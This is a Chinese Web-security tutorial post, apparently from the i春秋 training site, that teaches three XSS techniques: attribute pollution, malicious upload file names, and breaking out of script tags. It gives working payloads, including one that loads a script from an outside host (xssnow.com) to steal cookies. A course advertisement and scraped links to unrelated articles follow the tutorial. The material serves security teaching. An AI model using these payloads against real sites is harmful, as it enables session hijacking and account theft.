XSS漏洞是Web应用程序中最常见的漏洞之一，想要入门Web安全的小伙伴，这个知识点是必学的。

i春秋官网中有很多关于XSS漏洞的课程，新手小白可以去官网看课学习。

学习地址：https://www.ichunqiu.com/search/XSS漏洞

XSS是一种经常出现在Web应用中的计算机安全漏洞，也是客户端脚本安全的头号大敌。今天i春秋跟大家分享的是XSS漏洞的进阶篇，如何利用XSS漏洞的一些小技巧，希望对大家学习Web安全有所帮助。

污染标签

简单的说，XSS漏洞的本质就是输入与输出。

比如，我的QQ网名是：

"你的网名">

结果就被污染成

<input value="">

这样的话我就成功弹窗了，但又有什么用呢？

我们可以构造语句：

<input value=""#ff0000">http%3A%2F%2Fxssnow.com%2FdZJ4%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));">

这样我们就能成功打到cookie了。

文件名称XSS

有些网站有上传点，但是后台并未对文件名做更改。

比如上传以后前端代码是这样的：

<a href="http://127.0.0.1/upload/1.rar">test</a>

1.rar假设就是我们上传的文件。

我们是不是又可以构造语句闭合或者污染标签，值得一提的是，你需要抓包改文件名（想在Windows环境下改，你去试试就知道是怎么回事了）

我们就改成：

"><script>alert(1)</script>.rar

这样的话，就变成：

成功弹窗，如果过滤了尖括号 < >

就可以按照之前讲的标签污染法，让它执行我们的JS语句。

闭合JS

有时候，JS会调用我们网站的一些资料，类似昵称。

<html>

<head>

<script>

name = sqler；

</script>

</head>

<body>

welcome sqler；

</body>

</html>

因为我们昵称是被包含在<head>里，我们无法利用。

这样我们就需要为它打开一个新大门。

</script></head><body><img src=x onerror=alert(1)>

这样我们就成功弹窗。

以上就是今天要分享的内容，是不是很简单。

XSS漏洞是Web安全入门必掌握的知识点，当然还有CSRF漏洞、Webshell与文件上传漏洞、SQL注入等等，如果想要全面系统的学习Web安全入门课程，可以到i春秋官网（ichunqiu.com/train）进行报名。

快速报名入口：https://www.ichunqiu.com/train/course/11

面向人群

信息安全小白、高等院校信息安全、网络空间安全专业学生、信息安全爱好者、Web应用开发人员。

学习方式

通过在线视频学习资源，结合实验练习，带你全方位学习Web安全。上课期间助教老师实时在互动区进行沟通答疑，若脱离上课时间可在班级内老师答疑模块中进行问题咨询留言。

学习时间

Web安全入门班每月有两次报名机会，大家可以根据自己实际情况进行相应选择，学习时间灵活，非常适合上班族的新手小白们。

课程目标

1、了解Web应用程序架构；

2、熟悉Web常见漏洞原理；

3、掌握Web基础安全漏洞利用方式与防御方法；

4、熟悉渗透测试流程；

5、熟练使用多种渗透测试工具。

课程介绍

课程以漏洞为核心，从Web应用架构、漏洞原理，利用方式与防御方法等，多方面剖析Web应用安全相关知识，并以此为基础学习渗透测试的操作流程及各阶段工作内容，熟悉渗透测试工具的使用。

课程优势

1、低门槛、易学习；

2、知识点配套实验；

3、助教老师答疑。

通过以上内容的介绍，如果还有其他疑问，欢迎大家前来咨询，我们会有更专业的老师为你讲解，给你答疑解惑。谢老师 18513200565（手机、微信同步）

【Web安全入门】三个技巧教你玩转XSS漏洞的更多相关文章

  1. 教你玩转XSS漏洞

    什么是存储性XSS那? 通俗理解就是”xss“语句存在服务器上,可以一直被客户端浏览使用,所有登陆某一个存在”存储性xss“的页面的人,都会中招,可以是管理员,可以是普通的用户,所以他的危害是持续性的 ...

  2. Jmeter Web 性能测试入门 (三)：Jmeter 常用组件说明

    线程组:用来设置并发的数量和模式.是用来模拟用户并发的组件.JMeter 的每个任务都是用线程来处理的. 线程数:要并发的请求数量. Ramp-Up Period: 在多次时间内把这些并发的请求发送完 ...

  3. 通过Web安全工具Burp suite找出网站中的XSS漏洞实战(二)

    一.背景 笔者6月份在慕课网录制视频教程XSS跨站漏洞 加强Web安全,里面需要讲到很多实战案例,在漏洞挖掘案例中分为了手工挖掘.工具挖掘.代码审计三部分内容,手工挖掘篇参考地址为快速找出网站中可能存 ...

  4. Web API 入门三(参数绑定)

    学到现在,感觉到微软的.NET各种框架和模型基础大致都差不多,所以,这部分内容大致和MVC部分差不多.在学习参事绑定之前,我们肯定要知道Controller(即控制器)是啥干啥的. 其实,Contro ...

  5. java web开发入门三（Hibernate）基于intellig idea

    Hibernate 1.开发流程 项目配置好后的结构: 1.下载源码: 版本:hibernate-distribution-3.6.0.Final 2.引入hibernate需要的开发包(3.6版本) ...

  6. JAVA WEB快速入门之从编写一个JSP WEB网站了解JSP WEB网站的基本结构、调试、部署

    接上篇<JAVA WEB快速入门之环境搭建>,在完成了环境搭建后(JDK.Tomcat.IDE),现在是万事具备,就差写代码了,今天就来从编写一个JSP WEB网站了解JSP WEB网站的 ...

  7. 脑残式网络编程入门(三)：HTTP协议必知必会的一些知识

    本文原作者:“竹千代”,原文由“玉刚说”写作平台提供写作赞助,原文版权归“玉刚说”微信公众号所有,即时通讯网收录时有改动. 1.前言 无论是即时通讯应用还是传统的信息系统,Http协议都是我们最常打交 ...

  8. 网络编程懒人入门(八)：手把手教你写基于TCP的Socket长连接

    本文原作者:“水晶虾饺”,原文由“玉刚说”写作平台提供写作赞助,原文版权归“玉刚说”微信公众号所有,即时通讯网收录时有改动. 1.引言 好多小白初次接触即时通讯(比如:IM或者消息推送应用)时,总是不 ...

  9. Python Web自动化测试入门与实战，从入门到入行

    Python Web自动化测试入门与实战 购买地址 · 京东:https://item.jd.com/69239480564.html   天猫:https://detail.tmall.com/it ...

随机推荐

  1. PeriscopeHeartAnimation

    // // ViewController.m // PeriscopeHeartAnimation // // Created by ldj on 4/28/15. // Copyright (c) ...

  2. 解决webservice（Java）中dao层注入为null问题

    首先在webservice指定发布的路径类中实现 ServletContextListener, 例如: import javax.servlet.ServletContextEvent; impor ...

  3. 【LeetCode】746. 使用最小花费爬楼梯

    使用最小花费爬楼梯 数组的每个索引做为一个阶梯,第 i个阶梯对应着一个非负数的体力花费值 cost[i](索引从0开始). 每当你爬上一个阶梯你都要花费对应的体力花费值,然后你可以选择继续爬一个阶梯或 ...

  4. 【LeetCode】198. 打家劫舍

    打家劫舍 你是一个专业的小偷,计划偷窃沿街的房屋.每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警. 给定 ...

  5. 我所认为的RESTful API最佳实践

    我所认为的RESTful API最佳实践 不要纠结于无意义的规范 在开始本文之前,我想先说这么一句:RESTful 真的很好,但它只是一种软件架构风格,过度纠结如何遵守规范只是徒增烦恼,也违背了使用它 ...

  6. minimize.m:共轭梯度法更新BP算法权值

    minimize.m:共轭梯度法更新BP算法权值 作者:凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ Carl Edward Rasmussen在高斯机器学 ...

  7. golang数据结构和算法之CircularBuffer环形缓冲队列

    慢慢练语法和思路, 想说的都在代码及注释里. CircularBuffer package CircularBuffer const arraySize = 10 type CircularBuffe ...

  8. jdoj 2171: Grape

    jdoj 2171: Grape 题意 题目大意 一个农场的葡萄架上挂着n串葡萄,若取一个葡萄就会获得与其相应的美味值.对于连续的k串葡萄,最多取b串,最少取a串, 问能够获得的最大美味值为多少 数据 ...

  9. Python常见异常及常用单词翻译

    Python常见异常及常用单词意思 AttributeError 试图访问一个对象没有的树形,比如foo.x,但是foo没有属性x IOError 输入/输出异常:基本上是无法打开文件 ImportE ...

  10. 计算多个点中距离最远的两个点 python

    import numpy as npfrom scipy import spatial print("hello")# test pointspts = np.random.ran ...